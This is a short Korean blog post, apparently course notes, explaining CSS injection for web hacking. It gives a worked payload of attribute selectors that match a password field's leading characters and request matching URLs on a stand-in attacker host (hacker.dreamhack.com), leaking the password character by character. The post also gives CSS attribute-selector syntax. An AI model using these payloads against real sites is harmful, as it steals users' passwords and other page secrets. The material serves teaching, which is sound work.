본문 바로가기

Security

[Webhacking] [client-side advanced] Exploit Techniques - CSS Injection

반응형

CSS의 Selector나 HTTP 요청 생성을 통해 문서 정보 획득 및 CSRF 공격 연계 가능.

<style>
@import url("http://example.com/");
/* 외부 자원의 CSS 로드 */
body { background: url("http://example.com/"); }
/* 해당 태그의 백그라운드 이미지 지정. */
</style>

 

공격 예시

<input type="password" name="userpw" value="SuperSecret"/>
<style>
/* 사용자 입력 데이터 */
</style>

password가 SuperSecret인 경우

input[name='userpw'][value^='a']{background: url("http://hacker.dreamhack.com/a");}
input[name='userpw'][value^='b']{background: url("http://hacker.dreamhack.com/b");}
input[name='userpw'][value^='c']{background: url("http://hacker.dreamhack.com/c");}
...
input[name='userpw'][value^='S']{background: url("http://hacker.dreamhack.com/S");}

value ^= 'a' 는 value가 a로 시작인 경우 뒤의 css 실행.

해커의 사이트에 /S 요청이 가면서 패스워드가 S로 시작됨을 알게됨.

 

두번재 페이로드로 

input[name='userpw'][value^='Sa']{background: url("http://hacker.dreamhack.com/Sa");}
input[name='userpw'][value^='Sb']{background: url("http://hacker.dreamhack.com/Sb");}
input[name='userpw'][value^='Sc']{background: url("http://hacker.dreamhack.com/Sc");}
...
input[name='userpw'][value^='Su']{background: url("http://hacker.dreamhack.com/Su");}

수행하면서 하나씩 알아낼 수 있음.

css문법

[value^='a'] a로 시작하는 경우 <value="abc">
[value$='a'] a로 끝나는 경우 <value="cba">
[value*='a'] a가 포함되어 있는 경우 <value="bab">
[value='ABC' i] abc이며 대소문자 구분를 하지 않는 경우 <value="abc">

<value="ABC">
반응형